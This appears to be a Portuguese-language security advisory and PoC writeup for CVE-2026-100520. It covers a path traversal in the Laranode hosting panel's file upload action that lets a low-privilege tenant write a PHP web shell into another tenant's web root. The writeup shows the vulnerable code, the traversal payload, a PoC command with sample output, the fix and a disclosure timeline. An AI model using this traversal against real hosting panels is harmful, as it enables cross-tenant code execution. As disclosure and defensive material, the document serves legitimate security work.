
Path Traversal -> RCE no Laranode < 1.2.1 (CWE-22). PoC + writeup do advisory.
Pesquisa de segurança autorizada. PoC apenas para uso defensivo e educacional.
Path traversal autenticado no endpoint de upload do gerenciador de arquivos do Laranode permite que um tenant com baixo privilégio grave arquivos arbitrários fora do seu próprio diretório home — incluindo um web shell PHP no web root de outro tenant — levando à execução remota de código como esse tenant.
| CVE | CVE-2026-100520 |
| Produto | Laranode (painel de controle de hospedagem multi-tenant, Laravel) |
| Afetado | >= 0, < 1.2.1 |
| Corrigido em | v1.2.1 |
| Vulnerabilidade | Path Traversal (CWE-22) → Gravação Arbitrária de Arquivos → RCE |
| Privilégios | Autenticado (qualquer usuário de painel com baixo privilégio) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Descoberto por | Alisher Qarshibayev |
| Advisory | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php constrói o caminho de destino concatenando
diretamente os campos de requisição path e originalName fornecidos pelo usuário ao
diretório home do tenant — sem canonicalização e sem verificação de traversal:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- controlado pelo atacante, não sanitizado
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- sink de traversal
File::append($path . '/' . $r->originalName, $file->get()); // <-- gravação arbitrária
A rota está protegida apenas por auth — qualquer tenant autenticado pode alcançá-la:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Como path aceita sequências ../, um valor como ../victim/public_html escapa do
diretório home do chamador e coloca o upload no web root de outro tenant. Gravar um
arquivo .php ali resulta em execução de código no momento em que ele é requisitado via HTTP.
Requisitos: uma conta válida com baixo privilégio na instância Laranode alvo (este é o privilégio que o CVE assume). O PoC faz login, obtém o token CSRF e grava um arquivo PHP marcador no web root de um tenant irmão via traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Resultado esperado — o servidor confirma o destino da gravação fora do home do atacante:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
Veja poc.py. O shell marcador apenas executa id/uname para provar a execução —
sem ações destrutivas.
Atualize para o Laranode 1.2.1 (commit de correção).
A correção normaliza o caminho resolvido e rejeita qualquer destino que escape do
diretório home do tenant (verificação de contenção com realpath()). Orientação geral: nunca construa
caminhos de sistema de arquivos a partir de entrada bruta do usuário — canonicalize e confirme que o resultado permanece dentro
de um diretório base permitido.
| Data | Evento |
|---|---|
| 2026-09-21 | Data de divulgação pública |
| 2026-09-26 | CVE-2026-100520 reservado e publicado (VulnCheck) |
Divulgado de forma responsável ao fornecedor e coordenado através da VulnCheck. Corrigido na v1.2.1 antes do lançamento deste PoC. Publicado para fins defensivos e educacionais.